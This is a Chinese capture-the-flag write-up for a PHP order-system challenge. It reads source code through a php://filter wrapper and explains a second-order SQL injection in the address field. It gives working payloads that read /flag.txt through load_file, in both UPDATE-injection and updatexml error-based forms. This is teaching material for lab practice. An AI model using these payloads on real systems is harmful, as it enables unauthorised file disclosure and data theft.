题目
打开是

有提交订单,查询,还有修改,还有删除功能。
查看源代码发现提示<!--?file=?-->
那么尝试读取源码php://filter/read=convert.base64-encode/resource=index.php
读取源码
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单修改成功"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } ?>
|
其他源码同理。经审计发现,user_name和phone都做了严格的正则过滤,但对address只是很简单的转义,所以重点应该是在address这里。而且在change.php里面,还将输入的address和insert语句拼接起来。所以这里存在二次注入
二次注入
大概就是插入数据库的数据被转义,进入数据库却不会写入转义符号,就被还原成原来未转义的样子。然后再找到一处引用我们插入的危险数据的地方,同时引用没有对数据进行转义,则可以进行注入了。
研究语句
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
而数据库 update `user` set `address`="aaa", `address`="bbb" where `user_id`=1; 则user_id=1的address会被设置成bbb 所以可以构造payload: address=’,`address`=(sql语句);# 引号闭合原有语句的单引号,#号来闭合最后的单引号 注意不是中文的符号
|
SQL语句随便写了,没有限制。查取数据找不到flag。
结果是读取文件,最终:’,address=(select load_file(‘/flag.txt’));#
1:先提交订单(地址是payload)然后再修改订单,地址仍然是payload,再查询订单
2:先提交订单(地址不是payload),后修改订单地址为payload两次,再查询订单
对第二种情况,然后修改订单地址为payload,此时,payload经过转义后认为安全,再被数据库去除转义符插入数据库。(此时查看菜单可以发现我们的地址已经是payload了),然后再改一下,则会触发update语句即拼接完后
$sql = update `user` set `address`='
',`address`=(select load_file('/flag.txt'));#
', `old_address`='$row['address']' where `user_id`=$row['user_id']; 化简: update `user` set `address`='',`address`=(select load_file('/flag.txt'));#
|
所以地址就直接变成flag了。
或者报错注入
payload
payload 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)# 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)# updataxml函数对字符串长度有限制,所以分段进行读取
|
思考
常用的flag其实也就猜一猜txt,php,/flag /readflag
参考
https://lonmar.cn/2021/02/02/%5B%E7%BD%91%E9%BC%8E%E6%9D%AF%202018%5DComment/#0x03-addslashes
https://blog.csdn.net/weixin_45551083/article/details/113576689
https://blog.csdn.net/fmyyy1/article/details/115365517